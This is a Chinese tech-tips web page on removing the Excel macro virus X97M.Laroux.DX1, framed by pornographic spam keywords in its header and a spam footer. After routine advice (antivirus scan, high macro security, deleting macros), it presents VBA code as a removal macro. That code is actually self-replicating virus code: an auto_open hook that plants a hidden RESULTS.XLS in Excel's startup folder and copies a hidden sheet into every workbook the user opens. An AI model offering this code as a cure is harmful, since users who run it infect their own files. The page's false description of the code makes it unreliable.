国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 辦公 > Excel > 正文

EXCEL中宏毒X97M.Laroux.DX1的解決辦法

2024-08-23 19:28:06
字體:
來源:轉載
供稿:網友

  一般來說,EXCEL是不容易中毒的,要中毒的話,就會中宏代碼的毒。

  如果您的EXCEL中了X97M.Laroux.DX1的毒,請使用如下的方法來解決。

  一、常規方法

  使用殺毒軟件掃描全盤文件,然后,進入安全模式再刪除相應文件即可。

  二、使用EXCEL來解決

  ①禁止宏運行

  將EXCEL的安全級別設置為最高,這樣,X97M.Laroux.DX1宏就不能運行了。之后,打開EXCEL,將宏刪除即可。

  刪除方法為:工具→宏→宏→刪除。

  ②使用宏代碼刪除此毒

  刪除X97M.Laroux.DX1宏毒的宏代碼如下:

  Sub auto_open()

  Application.OnSheetActivate = "ck_files"

  End Sub

  Sub ck_files()

  c$ = Application.StartupPath

  m$ = Dir(c$ & "" & "RESULTS.XLS")

  If m$ = "RESULTS.XLS" Then p = 1 Else p = 0

  If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

  whichfile = p + w * 10

  Select Case whichfile

  Case 10

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  Sheets("results").Visible = True

  Sheets("results").Select

  Sheets("results").Copy

  With ActiveWorkbook

  .Title = ""

  .Subject = ""

  .Author = ""

  .Keywords = ""

  .Comments = ""

  End With

  newname$ = ActiveWorkbook.Name

  c4$ = CurDir()

  ChDir Application.StartupPath

  ActiveWindow.Visible = False

  Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _

  , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

  False, CreateBackup:=False

  ChDir c4$

  Workbooks(n4$).Sheets("results").Visible = False

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case 1

  Application.ScreenUpdating = False

  n4$ = ActiveWorkbook.Name

  p4$ = ActiveWorkbook.Path

  s$ = Workbooks(n4$).Sheets(1).Name

  If s$ <> "results" Then

  Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)

  Workbooks(n4$).Sheets("results").Visible = False

  Else

  End If

  Application.OnSheetActivate = ""

  Application.ScreenUpdating = True

  Application.OnSheetActivate = "RESULTS.XLS!ck_files"

  Case Else

  End Select

  End Sub

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 尉氏县| 阆中市| 桂林市| 广元市| 多伦县| 永寿县| 张家界市| 会昌县| 中超| 通河县| 金堂县| 延边| 邯郸市| 宿松县| 仙游县| 漠河县| 读书| 安陆市| 漳州市| 卢氏县| 灌云县| 丁青县| 平定县| 大新县| 成安县| 阿巴嘎旗| 沾化县| 延津县| 青州市| 阳东县| 淮阳县| 茌平县| 保定市| 抚宁县| 济宁市| 平遥县| 额尔古纳市| 兴义市| 安宁市| 黄梅县| 分宜县|